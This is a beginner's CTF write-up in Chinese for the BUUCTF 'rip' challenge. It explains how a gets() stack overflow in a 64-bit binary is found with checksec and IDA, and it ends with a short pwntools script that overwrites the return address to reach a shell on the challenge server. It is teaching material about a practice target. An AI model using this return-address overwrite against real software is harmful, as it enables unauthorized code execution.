2.[BUU]rip

1.检查文件--》checksec 一下

2.[BUU]rip_第1张图片

 

查看之后发现是64位,直接放入IDA64进行反编译。

2.IDA反编译,进行分析

2.[BUU]rip_第2张图片

发现是gets()函数可以造成栈溢出,从而可以覆盖栈上的内容。

想法:通过gets函数(栈溢出)来篡改栈上的内容指令,从而达到控制指令,输出我们想要得到的内容(flag)。

大概思路:gets给s写入数据(一般是垃圾数据)一直到ebp并且覆盖ebp,然后将自己想要控制的指令输入,就可以获得控制权。

2.[BUU]rip_第3张图片

如何实现?

第一步:查看gets()参数离ebp的距离

2.[BUU]rip_第4张图片

跳转,查看参数的大小(离ebp的距离)

2.[BUU]rip_第5张图片

所以总的大小为0xF+0x8

第二步:将控制指令覆盖return的位置

在IDA中查看内容的时候,可以使用 shift+F12 进行全部内容的查看。

2.[BUU]rip_第6张图片

2.[BUU]rip_第7张图片

2.[BUU]rip_第8张图片

找到目标指令对应的函数的地址,我们将其覆盖return的地址就会调用其函数。

3.EXP

from pwn  import *
io=remote("node4.buuoj.cn",29844)

fun_addr=0x401186

payload =b'a'*(0x8+0xF)
payload+= p64(fun_addr+1)

io.sendline(payload)
io.interactive()

在靶机中,64位程序会进行栈平衡操作,所以要在覆盖return的代码+1.

作为新手时,不要求理解太多,有些东西先记着,等接触更多的方面才能理解。最基本的东西往往是最难得。

你可能感兴趣的:(PWN--刷题,PWN)